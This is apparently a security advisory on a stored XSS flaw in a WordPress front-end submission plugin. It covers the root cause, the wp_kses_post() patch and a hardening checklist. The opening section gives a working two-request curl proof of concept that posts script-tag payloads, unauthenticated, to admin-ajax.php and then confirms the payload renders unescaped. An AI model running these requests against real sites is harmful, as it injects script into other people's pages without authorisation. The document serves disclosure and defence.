The Exploit
An unauthenticated attacker can submit a payload through the front-end post submission form and have it stored inside custom field output.
## 1) store the payload via the front-end submission endpoint
curl -sk -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-d 'action=usp_submit_post' \
-d 'author=<script>alert(1)</script>' \
-d 'label=test' \
-d 'name=test' \
-d 'value=<script>alert(1)</script>' \
-d 'title=test'
## 2) trigger the stored XSS by requesting the rendered post page
curl -sk 'https://TARGET/?p=123' | grep -o "<script>alert(1)</script>"
The first request stores attacker-controlled script tags inside the plugin’s custom field data. The second request returns page HTML containing the raw <script>alert(1)</script> payload, which means a browser loading that page would execute the injected JavaScript.
What the Patch Did
Before:
$replacements[0] = $author;
$replacements[1] = $label;
$replacements[2] = $name;
$replacements[3] = $value;
$replacements[4] = $title;
$replacements[0] = $author;
$replacements[1] = $label;
$replacements[2] = $name;
$replacements[3] = $value;
$replacements[4] = $title;
After:
$replacements[0] = wp_kses_post($author);
$replacements[1] = wp_kses_post($label);
$replacements[2] = wp_kses_post($name);
$replacements[3] = wp_kses_post($value);
$replacements[4] = wp_kses_post($title);
$replacements[0] = wp_kses_post($author);
$replacements[1] = wp_kses_post($label);
$replacements[2] = wp_kses_post($name);
$replacements[3] = wp_kses_post($value);
$replacements[4] = wp_kses_post($title);
The patch adds output sanitization with wp_kses_post(), a WordPress API that strips dangerous HTML tags and attributes from user-supplied content before it is inserted back into page markup.
Root Cause
This is CWE-79: improper neutralization of input during web page generation. User-controlled fields like author, label, name, value, and title enter the plugin via the front-end submission form and are later copied directly into an HTML template through $replacements[...] without escaping. That crosses the boundary from untrusted request input to trusted page output, so script-bearing values are rendered raw into the browser.
Why It Works
The load-bearing change is wp_kses_post($...) on each of the five replacement variables. If that function call is removed, the bug remains exploitable because the raw attacker input is still passed into the HTML rendering path. The repeated assignments are not decorative: each variable is a separate channel to the output template, and every one must be sanitized. The engineer added the sanitization function in both repeated blocks because the same unsafe pattern existed in multiple rendering locations.
Hardening Checklist
- Use
wp_kses_post()oresc_html()on any user-supplied field before inserting it into HTML output. - Sanitize incoming form fields with
sanitize_text_field()orwp_filter_nohtml_kses()at ingestion time when HTML is not required. - Protect AJAX endpoints with
wp_verify_nonce()and, where appropriate,current_user_can()to limit who can submit data. - Audit template generation for raw
str_replace/sprintfuse with user data and replace it with safe escaping functions. - Treat front-end submission fields as untrusted even when they are part of a plugin-specific feature set.
References
https://nvd.nist.gov/vuln/detail/CVE-2026-0800